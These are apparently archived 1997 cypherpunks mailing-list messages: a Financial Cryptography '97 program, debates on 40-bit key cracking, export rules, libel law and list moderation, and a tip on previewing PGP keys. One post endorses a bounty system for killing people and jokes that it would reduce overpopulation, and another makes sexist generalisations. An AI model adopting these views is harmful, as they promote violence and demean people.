> > > Nurdane Oksas wrote:
> 
> > > > > > > > California is know for very beautiful girls ...
> 
> > > > Well, can you say you've been 'anywhere else'?
> 
> > > Atlanta has some nice babes, warm weather.
> > > Charleston. Much smaller than Atlanta. Very cozy.
> > > Southern Germany. Very, very nice.  Loved Berchtesgaden (sp?).
> > > What about you?
> 
> > I am not into girls...sorry.
> 
> Too bad.  They're cleaner, more polite, less aggressive, make far
> better love than men.  If only they were interested in real computing
> (other than as a job or school work).

	Yes, what would i know...

oksas





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Robert Hettinga <rah@shipwright.com>
Date: Wed, 29 Jan 1997 05:18:31 -0800 (PST)
To: FC97 Conference Distribution <rah@shipwright.com>
Subject: FC97: PRELIMINARY CONFERENCE PROGRAM
Message-ID: <v0300780baf14f7ed77a7@[139.167.130.246]>
MIME-Version: 1.0
Content-Type: text/plain


		      Financial Cryptography '97
		  February 24-28 1997, Anguilla, BWI
		       PRELIMINARY PROGRAM


General Information:

Financial Cryptography '97 (FC97) is a new conference on the security
of digital financial transactions.  The first meeting will be held on
the island of Anguilla in the British West Indies on February 24-28,
1997.  FC97 aims to bring together persons involved in both the
financial and data security fields to foster cooperation and exchange
of ideas.

Original papers were solicited on all aspects of financial data
security and digital commerce in general.

Program Committee:

Matthew Franklin, AT&T Laboratories--Research, Murray Hill, NJ, USA
Michael Froomkin, U. Miami School of Law, Coral Gables, FL, USA
Rafael Hirschfeld (Program Chair), CWI, Amsterdam, The Netherlands
Arjen Lenstra, Citibank, New York, NY, USA
Mark Manasse, Digital Equipment Corporation, Palo Alto, CA, USA
Kevin McCurley, Sandia Laboratories, Albuquerque, NM, USA
Charles Merrill, McCarter & English, Newark, NJ, USA
Clifford Neuman, Information Sciences Institute, Marina del Rey, CA, USA
Sholom Rosen, Citibank, New York, NY, USA
Israel Sendrovic, Federal Reserve Bank of New York, New York, NY, USA

Preliminary Conference Program for FC97:

Monday 24 February 1997

 830 --  905

    Anonymity Control in E-Cash Systems
    George Davida (University of Wisconsin, Milwaukee, WI, USA),
    Yair Frankel (Sandia National Laboratories, Albuquerque, NM, USA),
    Yiannis Tsiounis (Northeastern University, Boston, MA, USA),
    Moti Yung (CertCo, New York, NY, USA)

 905 --  940

    How to Make Personalized Web Browsing Simple, Secure, and Anonymous
    Eran Gabber, Phil Gibbons, Yossi Matias, Alain Mayer
        (Bell Laboratories, Lucent Technologies)

 940 -- 1015

    An Anonymous Networking Infrastructure and Virtual Intranets
    Jim McCoy (Electric Communities, Cupertino, CA, USA)

1015 -- 1045
    Coffee Break

1045 -- 1120

    Unlinkable Serial Transactions
    Paul F. Syverson (Naval Research Laboratory, Washington, DC, USA),
    Stuart G. Stubblebine (AT&T Labs--Research, Murray Hill, NJ, USA),
    David M. Goldschlag (Naval Research Laboratory, Washington, DC, USA)

1120 -- 1155

    Efficient Electronic Cash with Restricted Privacy
    Cristian Radu, Rene Govaerts, Joos Vandewalle
        (Katholieke Universiteit Leuven, Leuven, Belgium)

1155 -- 1230

    The SPEED Cipher
    Yuliang Zheng (Monash University, Melbourne, Australia)


Tuesday 25 February 1997

 830 --  930
    Invited Speaker
    To Be Announced

 930 -- 1005

    Smart Cards and Superhighways
        The technology-driven denationalisation of money
    David G.W. Birch, Neil A. McEvoy (Hyperion, Surrey, England)

1005 -- 1045
    Coffee Break

1045 -- 1120

    Fault Induction Attacks, Tamper Resistance, and Hostile Reverse
        Engineering in Perspective
    David P. Maher (AT&T Labs--Research, Murray Hill, NJ, USA)

1120 -- 1155

    Some Critical Remarks on "Dynamic Data Authentication" as
        specified in EMV '96
    Louis C. Guillou (CCETT, Cesson-Sevigne, France)

1155 -- 1230

    Single-chip implementation of a cryptosystem for financial
        applications
    Nikolaus Lange (SICAN Braunschweig GmbH, Braunschweig, Germany)


Wednesday 26 February 1997

 830 --  930
    Invited Speaker
    Ronald Rivest (MIT Lab for Computer Science, Cambridge, MA, USA)

 930 -- 1005

    Cyberbanking and Privacy: The Contracts Model
    Peter P. Swire (Ohio State University, Columbus, OH, USA)

1005 -- 1045
    Coffee Break

1045 -- 1120

    SVP: a Flexible Micropayment Scheme
    Jacques Stern, Serge Vaudenay (Ecole Normale Superieure, Paris, France)

1120 -- 1155

    An efficient micropayment system based on probabilistic polling
    Stanislaw Jarecki (MIT Lab for Computer Science, Cambridge, MA, USA),
    Andrew Odlyzko (AT&T Labs--Research, Murray Hill, NJ, USA)

1155 -- 1230

    On the continuum between on-line and off-line e-cash systems - I
    Yacov Yacobi (Microsoft, Redmond, WA, USA)


Thursday 27 February 1997

 830 --  905

    Auditable Metering with Lightweight Security
    Matthew K. Franklin, Dahlia Malkhi
        (AT&T Labs--Research, Murray Hill, NJ, USA)

 905 --  940

    Applying Anti-Trust Policies to Increase Trust in a Versatile
        E-Money System
    Markus Jakobsson (UCSD, La Jolla, CA, USA),
    Moti Yung (BTEC/CertCo, New York, NY, USA)

 940 -- 1015

    Towards Multiple-payment Schemes for Digital Money
    H. Pagnia, R. Jansen (University of Darmstadt, Darmstadt, Germany)

1015 -- 1045
    Coffee Break

1045 -- 1120

    Legal Issues in Cryptography
    Edward J. Radlo (Fenwick & West LLP, Palo Alto, CA, USA)

1120 -- 1230
    Panel Discussion
    Legal Issues of Digital Signatures
    Michael Froomkin (University of Miami School of Law, Miami, FL, USA),
    Charles Merrill (McCarter & English, Newark, NJ, USA),
    Benjamin Wright (Dallas, TX, USA)

Friday 28 February 1997

 830 --  930
    Invited Speaker
    To Be Announced

 930 -- 1005

    The Gateway Security Model in the Java Electronic Commerce Framework
    Theodore Goldstein (Sun Microsystems Laboratories/Javasoft)

1005 -- 1045
    Coffee Break

1045 -- 1120

    Highly Scalable On-line Payments Via Task Decoupling
    David William Kravitz (CertCo LLC, Albuquerque, NM, USA)

1120 -- 1155

    GUMP; Grand Unified Meta-Protocols
        Recipes for Simple, Standards-based Financial Cryptography
    Barbara Fox, Brian Beckman (Microsoft, Redmond, WA, USA)

1155 -- 1230

    Secure Network Communications and Secure Store & Forward Mechanisms
        with SAP R/3
    Bernhard Esslinger (SAP AG, Walldorf, Germany)





The conference will run from 8:30 AM to 12:30 PM, for five days, February
24-28 1997. Breakfast provided at the conference. The conference
organizers have left the afternoon and evenings open for corporate
sponsored events, for networking, and for recreational activities on the
resort island of Anguilla. Participants are encouraged to bring their families.

Workshop:

A 40-hour workshop, intended for anyone with commercial software
development experience who wants hands-on familiarity with the issues and
technology of financial cryptography, is planned in conjunction with FC97,
to be held during the week preceding the conference.

For more information on the workshop, please see the URL
http://www.cs.berkeley.edu/~iang/fc97/workshop.html .

For workshop registration, see the URL
http://www.offshore.com.ai/fc97/ .


Venue:

The InterIsland Hotel is a small 14-room guesthouse and a large,
comfortable 150 seat conference facility with additional space for a small
10-booth exhibition. The Inter-Island is on Road Bay, near Sandy Ground
Village, in the South Hill section of Anguilla. The conference, workshop,
and exhibition will have TCP/IP internet access. The rooms at the
InterIsland itself have sold out, but there are many other hotels
and guesthouses on Anguilla, and shuttle service to the conference will be
available.

Air Transportation and Hotels:

Air travel to Anguilla is typically done through either San Juan or St.
Thomas for US flights, or St. Maarten/Martin for flights from Europe and
the US.

Anguillan import duties are not imposed on hardware or software which will
leave the island again. There are no other taxes -- or cryptography
import/export restrictions -- on Anguilla.

Hotels range from spartan to luxurious, and more information about hotels
on Anquilla can be obtained from your travel agent, or at the URL
http://www.offshore.com.ai/fc97/ .


General Chairs:

Robert Hettinga, Shipwright/e$, Boston, MA, USA;
rah@shipwright.com

Vincent Cate, Offshore Information Services, Anguilla, BWI;
vince@offshore.com.ai

Conference, Exhibits, and Sponsorship Manager:

Julie Rackliffe, Boston, MA, USA;
rackliffe@tcm.org

Workshop Leader:

Ian Goldberg, Berkeley, CA, USA;
iang@cs.berkeley.edu


Registration:

You can register and pay for conference admission on the World Wide Web at
the URL http://www.offshore.com.ai/fc97/ .

The cost of the FC97 Conference is US$1,000.

Booths for the exhibition start at US$5,000 and include two conference
tickets. For more information about exhibit space, contact Julie Rackliffe,
rackliffe@tcm.org . Sponsorship opportunities for FC97 are still available.

The cost of the workshop is US$5000, and includes meals but not lodging.
You can register for the workshop, which runs the week prior to the
conference, at the URL <http:/www.offshore.com.ai/fc97>



Financial Cryptography '97 is held in cooperation with the
International Association for Cryptologic Research.

It is sponsored by:

The Journal for Internet Banking and Commerce
<http://www.arraydev.com/commerce/JIBC/>
Offshore Information Services <http://www.offshore.com.ai/>
e$ <http://www.shipwright.com/rah/>
C2NET <http://www.c2.net/>
See Your Name Here <mailto: rackliffe@tcm.org>

-----------------
Robert Hettinga (rah@shipwright.com), Philodox
e$, 44 Farquhar Street, Boston, MA 02131 USA
"The cost of anything is the foregone alternative" -- Walter Johnson
The e$ Home Page: http://www.shipwright.com/rah/
FC97: Anguilla, anyone? http://www.ai/fc97/
"If *you* don't go to FC97, *I* don't go to FC97"






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: John Young <jya@pipeline.com>
Date: Wed, 29 Jan 1997 05:42:47 -0800 (PST)
To: cypherpunks@toad.com
Subject: COO_kin
Message-ID: <1.5.4.32.19970129133722.006c9ca4@pop.pipeline.com>
MIME-Version: 1.0
Content-Type: text/plain


1-29-97. NYP:

GAK-czar cooks key hooks.

FBI cooks lab books.

-----

COO_kin





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Jeremiah A Blatz <jer+@andrew.cmu.edu>
Date: Wed, 29 Jan 1997 05:42:03 -0800 (PST)
To: Robert Hettinga <rah@shipwright.com>
Subject: Re: AltaVista sprouts a hole ...
In-Reply-To: <199701290126.RAA11363@toad.com>
Message-ID: <0mvpAZ200YUd02MHY0@andrew.cmu.edu>
MIME-Version: 1.0
Content-Type: text/plain


-----BEGIN PGP SIGNED MESSAGE-----

Robert Hettinga <rah@shipwright.com> writes:
> --- begin forwarded text
> 
> 
> Sender: e$@thumper.vmeng.com
> Reply-To: Russell Stuart <R.Stuart@rsm.com.au>
> MIME-Version: 1.0
> Precedence: Bulk
> Date: Wed, 29 Jan 1997 08:07:27 +1000
> From: Russell Stuart <R.Stuart@rsm.com.au>
<snip>

> However, the doubleclick.net ads appear to bear no relationship to the
> keywords being searched, and they appear not only in the URL for the
> hyperlink to follow, but also in the IMG SRC URL.  This means that in
> order
> to avoid disclosing my keyword lists to doubleclick.net, I have to
> disable
> automatic loading of inline images when using AltaVista!

Actually, the ads *do* relate to the keywords. Try doing a search for
"flowers" and a search for "sex."

http://www.anonymizer.com/

Jer

"standing on top of the world/ never knew how you never could/ never knew
 why you never could live/ innocent life that everyone did" -Wormhole

-----BEGIN PGP SIGNATURE-----
Version: 2.6.2

iQB1AwUBMu9TH8kz/YzIV3P5AQEL8AL/Tj6fj0hRMYZVK1ppuh/DSxtB89urgSDy
DDmA6ycn0DmmUg1TL7w8k2vkN/srUfvddA6pu3vZGU8Pa3unA4LSAe3ipCygzuGK
d1s0BW+Cy15HDjdTdFe9I0tYfjdNQo2B
=26sJ
-----END PGP SIGNATURE-----




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Jeremiah A Blatz <jer+@andrew.cmu.edu>
Date: Wed, 29 Jan 1997 05:52:30 -0800 (PST)
To: spyking@thecodex.com
Subject: Re: Best Computer School?
In-Reply-To: <199701290257.SAA14988@toad.com>
Message-ID: <0mvpLz200YUd02MKw0@andrew.cmu.edu>
MIME-Version: 1.0
Content-Type: text/plain


-----BEGIN PGP SIGNED MESSAGE-----

Matthew Toth <mst114@psu.edu> writes:
>         MIT is one the best schools in the country for C.S.
>         Close behind is Carnegie Mellon University (C.M.U.) in Pittsburgh,
> PA. (the folks who put out CERT.) Not sure how much Crypto they do, though.

I think there's one class on crypto (explicitly), but there's some
talent here. One who was interested could get an independant study or
a research job without too much trouble. After all, MIT isn't the only
place that writes kerberos, AFS, and the like.

(In case you're wondering, the "A" in AFS stands for "Andrew," of
Andrew Carnegie.)

Jer

"standing on top of the world/ never knew how you never could/ never knew
 why you never could live/ innocent life that everyone did" -Wormhole

-----BEGIN PGP SIGNATURE-----
Version: 2.6.2

iQB1AwUBMu9V+skz/YzIV3P5AQH/XgL/VFA/4M1XTD8xl86Y6GrtU46YGpmGnhn6
lDKSA/xaxAzUToPTXQdyNqY5xg5CpfwYraVEiyLIvWKsIvOWtJgG3cZzF+xqlx39
sgbM0L6aMXrXkGqLdosZMjrr9Rqc6KE5
=FTU1
-----END PGP SIGNATURE-----




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Steven Bellovin <smb@research.att.com>
Date: Wed, 29 Jan 1997 06:15:12 -0800 (PST)
To: cypherpunks@toad.com
Subject: Re: Last nail for US crypto export policy?
Message-ID: <199701291411.JAA01361@raptor.research.att.com>
MIME-Version: 1.0
Content-Type: text/plain


It is dangerously naive to label this success the ``last nail for US
crypto export policy''.  Everyone concerned with this issue, from the
NSA to the FBI to anyone who wants to use crypto, understands this
and accepts it.  40-bit keys are good for protection against casual
snooping, and nothing more -- and no one is going to claim that you
need supercomputers to crack them.  In fact, I assert that the U.S.
government is *happy* about these results -- because it's going to
push folks towards wanting stronger crypto for export.  The only problem,
of course, is the terms under which such code can be exported...

I'll go further -- in my opinion, the only reason the government doesn't
want DES to fall just yet is that alternatives aren't ready.  That is,
the banks and financial institutions, and for that matter the government
agencies, have not converted to 3DES or Clipper or what have you, and
can't do so on short notice; the commercial products they need just aren't
ready yet.  No one wants to risk a loss of confidence in the financial
system.  Two years from now, though, when some key escrow products are
ready, it may be a different story.




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: falk@Eng.Sun.COM (Ed Falk)
Date: Wed, 29 Jan 1997 09:39:52 -0800 (PST)
To: harka@nycmetro.com
Subject: Re: PGP Key Preview...
Message-ID: <199701291738.JAA23721@peregrine.eng.sun.com>
MIME-Version: 1.0
Content-Type: text/plain



> is there a way to preview the contents of a received public key,
> without adding it automatically to the public key ring?

Trivial.  Just have pgp look at the file without giving it any commands.
I.e. instead of

	pgp -ka <filename>
do
	pgp <filename>

Pgp will examine the file, tell you it contains keys, show them to
you and then ask if you want to add them to your keyring.  This is
the way I normally add keys, just because I like to look at *any* file
before I add it to any system.




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: falk@Eng.Sun.COM (Ed Falk)
Date: Wed, 29 Jan 1997 09:41:52 -0800 (PST)
To: cypherpunks@toad.com
Subject: Re: Last nail for US crypto export policy?
Message-ID: <199701291740.JAA23726@peregrine.eng.sun.com>
MIME-Version: 1.0
Content-Type: text/plain


>   I just ran out of asswipe.
>   Does anyone have any RSA Data Security, Inc. stock they'd like to
> sell?

Now, now.  I don't think RSADSI had any illusions of 40-bit keys being
secure; they just wanted to find out just *how* insecure they were.

I suspect that this crack will *benefit* RSADSI, and the rest of the
crypto community, by helping to convince the feds to ease up.




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "David Lesher / hated by RBOC's in 5 states" <wb8foz@wauug.erols.com>
Date: Wed, 29 Jan 1997 06:53:42 -0800 (PST)
To: karn@qualcomm.com (Phil Karn)
Subject: Re: Machine readable form (was:RE: [DES] DES Key Recovery Project, Progress Report #7)
In-Reply-To: <199701290258.SAA15049@toad.com>
Message-ID: <199701291453.JAA05208@wauug.erols.com>
MIME-Version: 1.0
Content-Type: text/plain


Phil Karn sez:
> 
> This seems clear enough. If it's printed on paper, it's kosher for
> export. But if we're really overt about it, we may goad the government
> into attempting to control printed source code as well. That could
> prove most interesting.

I wonder where the ADA-approved Large Print for the vision-impaired
edition falls. 


-- 
A host is a host from coast to coast.................wb8foz@nrk.com
& no one will talk to a host that's close........[v].(301) 56-LINUX
Unless the host (that isn't close).........................pob 1433
is busy, hung or dead....................................20915-1433




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Patrick May <pjm@spe.com>
Date: Wed, 29 Jan 1997 10:17:05 -0800 (PST)
To: cypherpunks@toad.com
Subject: Re: Best Computer School?
In-Reply-To: <199701290256.SAA14915@toad.com>
Message-ID: <199701291801.KAA01112@gulch.spe.com>
MIME-Version: 1.0
Content-Type: text/plain


Rick Osborne writes:
 > At 12:32 PM 1/28/97 -0500, Derek Atkins wrote:
 > >This is really exagerating.  You do not need a 4.0, 1600, etc. to be
 > >admitted to MIT.  Sure, you need good grades, but a 3.6 average and
 > >1350-1400 SAT scores is perfectly adequate to be admitted to MIT.
 > 
 > I disagree and can speak from experience.  I was denied admission to MIT
 > even thought I had a 3.82 GPA, 1440 SAT (one try), and had taken 9 AP tests
 > with two 5's, four 4's, two 3's, and one 2.  As for being well-rounded, I
 > was on several academic teams, sang in Chorus, acted and stage managed in
 > Drama, and played Tennis.

     I have a degree from MIT and got in with marks only slightly
higher than these.  My verbal SAT was actually higher than my math.

 > The only thing I didn't have that the next MIT applicant had was money.  I
 > made the mistake of letting them know that I was dirt poor and would need
 > full aid/grants/etc, and to quote "The Great Escape" it was "Zzzt! To the
 > Russian front!"

     This is an incorrect conclusion.  I'm replying publicly to your
message because I would hate for a kid with ability and little or no
money to give up on getting into MIT without trying.  I grew up on a
small farm in Maine and got zero financial help for college from my
folks.  The financial aid people at Tech assured me that, if I were
admitted, they would come up with a package of grants, scholarships,
and loans to make the nut.  With me working through school, they did.
I've just finished retiring the $45k+ debt.

 > MIT may be a great school, but they tend to be snooty assholes for the most
 > part.  (DISCLAIMER: Not all MIT grads/attendees are necessarily "snooty
 > assholes", I'm just saying that I've yet to meet one that wasn't.)

     I've been accused of being an asshole on more than one occasion
(although never snooty).  I think it's more a matter of temperament
than anything Tech did to me, though.

Regards,

pjm




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: nobody@huge.cajones.com (Huge Cajones Remailer)
Date: Wed, 29 Jan 1997 10:05:31 -0800 (PST)
To: cypherpunks@toad.com
Subject: Re: Libel & the 1st Amendment
Message-ID: <199701291805.KAA29363@mailmasher.com>
MIME-Version: 1.0
Content-Type: text/plain


At 10:46 AM 1/29/1997, Declan McCullagh wrote:
> * Many 1st Amendment experts don't believe in the legal concept of
> libel.  It is, they say, a rich man's game -- if I'm libeled by the
> NYT, I'm probably not going t be able to sue them, but Donald Trump
> can. Moreover, if I don't have the resources to sue but the
> statement is libelous, it creates a *presumption* in the minds of
> the readers that the article is certainly true. (If it were not, I
> would have sued, right?)

The wealthy also use libel suits to suppress dissent.  Greg's point
that poor people aren't worth suing is only true if the motivation is
financial.  Often it is not.  Conveniently, many of those whose
silence is desired are among the petty bourgeouis and have a net worth
of roughly $50,000.  Enough to make the suit appear legitimate, but
not enough to allow the target to brush off the legal fees, if they
win the case.

Consider also the artificial distinction between private and public
figures.  It is easier for a private figure to sue for libel.  Yet,
the most influential people in the country are private figures.
Reporters must tread very carefully when covering the activities of
these people.  Thus, we hear little of them.

It would be interesting to know when libel law was first introduced to
the United States.  Does anybody know?

John Peter Zenger




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Toto <toto@sk.sympatico.ca>
Date: Wed, 29 Jan 1997 09:02:29 -0800 (PST)
To: dthorn@gte.net
Subject: Re: Sandy Loses His Gold Star
In-Reply-To: <Pine.SUN.3.91.970129065020.28830L-100000@crl13.crl.com>
Message-ID: <32EF9488.5C61@sk.sympatico.ca>
MIME-Version: 1.0
Content-Type: text/plain


Dale Thorn wrote:

> I hope to God you're paying attention, Toto.  You just got a new
> rule: inclusion of no-longer-relevant comments. Now if you pay close
> attention from now on, and write these things down, you won't forget.
> (until there's a new rule, but that's the way these things work).

  Of course I'm paying attention.
  That's why Sandy had to 'double-talk' to explain how his denial 
that the post was sent to the 'flames' list really meant that it
was sent to the 'spam' list, which just happens to be the 'flames'
list, except on Thursdays between 2 p.m. and 4 p.m., when it is 
called the 'shit' list. 

Toto






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Sean Roach <roach_s@alph.swosu.edu>
Date: Wed, 29 Jan 1997 10:41:28 -0800 (PST)
To: cypherpunks@toad.com
Subject: Re: Fighting the cybercensor
Message-ID: <199701291841.KAA06953@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


At 09:40 PM 1/27/97 -0500, Phillip M. Hallam-Baker wrote:
>
>
>jim bell <jimbell@pacifier.com> wrote in article
<5ch9f2$cuu@life.ai.mit.edu>...
>
>> Look, I've proposed what I consider to be a remarkably consistent method to 
>> prevent the kind of political tyranny that you criticize, and I don't see 
>> any recognition of this fact.  
>
>Thats because its a whacko solution that has no credibility
>or consistency. 
>
>If anyone tried to set up such a market and a price went out
>on any of the heads of state fantasized about Mr Bell would be 
>dead as a doornail in a week.
>
So you're saying that the system would work.  Mr. bell would be targeted, a
price on his head, for starting that very system.  Mr. Bell would be a
martyr, his system being proven by his own death.  It would be some varient
of his idea that would be used to kill him, a bounty.
I think that the system would work, I also think that it would be easiest to
use by those already in possession of the money.
It would take care of part of our overpopulation problem though...  





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Dan Geer <geer@OpenMarket.com>
Date: Wed, 29 Jan 1997 07:45:51 -0800 (PST)
To: cypherpunks@toad.com
Subject: Re: Last nail for US crypto export policy?
In-Reply-To: <199701291411.JAA01361@raptor.research.att.com>
Message-ID: <199701291545.KAA02713@waterville.openmarket.com>
MIME-Version: 1.0
Content-Type: text/plain



Steve Bellovin writes:

    It is dangerously naive to label this success the ``last nail for US
    crypto export policy''.  Everyone concerned with this issue, from the
    NSA to the FBI to anyone who wants to use crypto, understands this
    and accepts it.  40-bit keys are good for protection against casual
    snooping, and nothing more -- and no one is going to claim that you
    need supercomputers to crack them.  In fact, I assert that the U.S.
    government is *happy* about these results -- because it's going to
    push folks towards wanting stronger crypto for export.  The only problem,
    of course, is the terms under which such code can be exported...
    
    I'll go further -- in my opinion, the only reason the government doesn't
    want DES to fall just yet is that alternatives aren't ready.  That is,
    the banks and financial institutions, and for that matter the government
    agencies, have not converted to 3DES or Clipper or what have you, and
    can't do so on short notice; the commercial products they need just aren't
    ready yet.  No one wants to risk a loss of confidence in the financial
    system.  Two years from now, though, when some key escrow products are
    ready, it may be a different story.

Steve is absolutely right on the money, particularly about the likely
happiness on the government side.

The true explanation of the current effort is a testimony to the
strategic skill of the regulators, but it is not as represented aloud.
Export controls are meaningless without domestic use restrictions and
domestic use restrictions will never pass the test of the First
Amendment.  Therefore, in an effort to obtain what cannot be obtained
politically, this administration makes the following ploy:
  (1) Withhold from American companies the wherewithal to compete
      internationally by crippling the products they may export;
  (2) Offer to those companies that will include the functional equivalent
      of domestic use restrictions in their products a competitive
      advantage that could never otherwise withstand any fairness test;
  (3) Declare the resulting imposition of domestic use controls to be
      the "voice of the marketplace" and "voluntary."

This is as shameful as saying that a rape victim was "asking for it."

--dan





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Declan McCullagh <declan@pathfinder.com>
Date: Wed, 29 Jan 1997 07:48:32 -0800 (PST)
To: Jim Choate <ravage@einstein.ssz.com>
Subject: Re: Libel & the 1st Amendment
In-Reply-To: <199701290611.WAA20631@toad.com>
Message-ID: <Pine.GSO.3.95.970129104044.9355C-100000@cp.pathfinder.com>
MIME-Version: 1.0
Content-Type: text/plain


A couple points:

* The 1st Amendment does protect some lies. If I say "Jim Choate is a
Venusian albatross," the statement is probably (?) a lie, but I doubt
you'll prevail in a libel suit. What damages do you have? That's the key,
I believe -- the statement has to lower you in the opinion of others.

* Many 1st Amendment experts don't believe in the legal concept of libel. 
It is, they say, a rich man's game -- if I'm libeled by the NYT, I'm
probably not going t be able to sue them, but Donald Trump can. Moreover,
if I don't have the resources to sue but the statement is libelous, it
creates a *presumption* in the minds of the readers that the article is
certainly true. (If it were not, I would have sued, right?) 

* The concept you may be searching for is consensual speech, which I
believe a society should tolerate. Libelous speech isn't consensual,
though obscenity is.

-Declan


On Tue, 28 Jan 1997, Jim Choate wrote:

> 
> Hi,
> 
> It has been asserted by at least one member that the 1st Amendment protects
> libelous or other defamatory speech. 
> 
> This is hokem. The 1st most certainly does not protect lies in any form. It
> protects opinion, this is distinctly different then stating a untruth about
> some party or distribution of material with the attributation to them
> without their permission.
> 
> No civilized society can exist that permits lies and other defamations of
> character and expect to survive for any length of time. Simply for no other
> reason than contracts and other such instruments would not be worth the
> paper they were printed on. Let alone any laws or other issuances from the
> government itself.
> 
> 
> 				ARTICLE I. 
>  
> 	Congress shall make no law respecting an establishment of religion, 
> or prohibiting the free exercise thereof; or abridging the freedom of 
> speech, or of the press; or the right of the people peaceably to assemble, 
> and to petition the Government for a redress of grievances. 
>  
>  
> Where in there do you see a right to lie, cheat, or steal? If it did, it
> would be a lie because it would not protect the very freedom it says it is.
> 
> 
>                                                   Jim Choate
>                                                   CyberTects
>                                                   ravage@ssz.com
> 
> 
> 





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Declan McCullagh <declan@pathfinder.com>
Date: Wed, 29 Jan 1997 07:55:26 -0800 (PST)
To: stewarts@ix.netcom.com
Subject: Re: East German Collapse (Was: Fighting the cybercensor
In-Reply-To: <199701290628.WAA20945@toad.com>
Message-ID: <Pine.GSO.3.95.970129104904.9355D-100000@cp.pathfinder.com>
MIME-Version: 1.0
Content-Type: text/plain



On Tue, 28 Jan 1997 stewarts@ix.netcom.com wrote:

> (ObCypherpunksContent: if substantial amounts of tax money starts
> escaping into Cypherspace, it's not easy to maintain a modern
> CorporatistWelfare-for-Bureaucrats state either.....)

I disagree. Where does this money "escape" to? Do you spend it on rent,
pizza, a new stereo? Hmm... These are all meatspace transactions and can
be taxed.

I met last week with a senior Clinton administration official for an
article I'm working on and posed this question to him, asking how we can
tax anonymous online transactions. He replied: "Well, we have this
corporate income tax..."

-Declan





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Michael Paul Johnson <mikej2@Exabyte.COM>
Date: Wed, 29 Jan 1997 10:18:38 -0800 (PST)
To: Mark Rosen <mrosen@peganet.com>
Subject: Complying with the EAR [was: More Circumventing the ITAR]
In-Reply-To: <199701290307.WAA13939@mercury.peganet.com>
Message-ID: <Pine.SUN.3.95.970129095326.16309A-100000@gedora>
MIME-Version: 1.0
Content-Type: text/plain


On Tue, 28 Jan 1997, Mark Rosen wrote:

> 	I'm curious as to exactly what the ITAR/EAR/Whatever says specifically
> about "unrestricted FTP sites." My program, Kremlin, is available for

You should check the exact text yourself, but the way I read the EAR, you
are not "exporting" strong cryptographic software without a license (exept
to Canada, which needs no license) if you do things "such as"
(1) have the guests to your site acknowledge that the EAR restricts
export, (2) have the guests affirm that they can legally get the software
(proper citizenship or residency & location), and (3) "check the address
of the destination computer to see if it is in the USA" or Canada. The
last one, I interpret rather loosely to mean that if the guest's email
address domain isn't one commonly used in the USA or Canada, then I deny
access. We all know that not all .com addresses are North American, but
chances are really good that if the address ends in .ru, then the
destination machine is probably not in North America. This is not a
perfect way to prevent export, of course, but it is what the regulations
say, as I read them. For a pointer to the regulations and to my access
request form and crypto site, see http://www.sni.net/~mpj/crypto.htm

Disclaimer: I am not a lawyer, and most lawyers don't even understand this
stuff, so you read and act on it at your own risk. This is just my best
effort to comply with the law without sacrificing my right to publish.

> download at the web page below. On my web page, I have some stuff in bold
> print that informs about the ITAR and tells people to go away if they're
> not from the US or Canada. Does this count as an unrestricted FTP site?

Is there any reason why people have to look at your warning before reading
your warning? At my site, the ftp site itself is in a hidden directory
that changes names often enough that people can't successfully link to the
restricted files for very long without going through my warning page.
Indeed, my site can't be navigated and indexed properly by web search
robots. At your site, it is extremely likely that someone would find your
software without ever seeing your warning. Indeed, your software is on
another server with another interface. I think that your site counts as
unrestricted.

> 	Also, back to the question of registration numbers. A registration number
> is just a string of letters and numbers, and is essentially the same as a
> friendly letter; it contains no cryptographic code. For all anyone knows, I
> could just be charging for pseudo-random numbers, again, nothing of
> cryptographic significance. Is it illegal for me to mail someone outside of
> the US or Canada a registration code? Thanks for any help.

The registration code is legally equivalent to the registered software
that it unlocks. Sending the registration code to France, for example,
would be likely to be considered the same as sending the registered
software to France (in violation of the laws of both countries).

Now if the "unregistered" software is weak (i. e. crippled key length)
without the registration code, you need not worry about posting it
publicly and without restriction, as long as you don't export the
registration code (except to Canada) without a license. I do this with
Quicrypt (ftp://ftp.csn.net/mpj/qcrypt11.zip).

BTW, I posted krem104.zip at my site. Please let me know if I mangled it
in the process...

http://www.sni.net/~mpj/crypto.htm

 Michael Paul Johnson      Opinions herein are not necessarily Exabyte's.
 Work:     mpj@exabyte.com http://www.exabyte.com
 Personal: mpj@csn.net     http://www.csn.net/~mpj       BBS 303-772-1062





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Sandy Sandfort <sandfort@crl.com>
Date: Wed, 29 Jan 1997 11:36:52 -0800 (PST)
To: Anonymous <nobody@REPLAY.COM>
Subject: Re: Physician, Heal Thyself!
In-Reply-To: <199701291826.TAA02571@basement.replay.com>
Message-ID: <Pine.SUN.3.91.970129110243.12086Q-100000@crl.crl.com>
MIME-Version: 1.0
Content-Type: text/plain


~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
                          SANDY SANDFORT
 . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .

C'punks,

On Wed, 29 Jan 1997, Anonymous wrote:

> This is the stuff Sandy would presumably dump into
> his "not fit for True Cypherpunks" pile, except that he wrote it, and so it
> is by definition approved.

It was not approved for the moderated list.  I sent my comments to the 
flames list where they belonged.  (It went to the unedited list too, 
but that's fair game as well.)  Sorry you didn't understand that.

> And I urge our Enlightened Leader to take his own medicine. Stop flaming
> the list and calling it mere commentary.

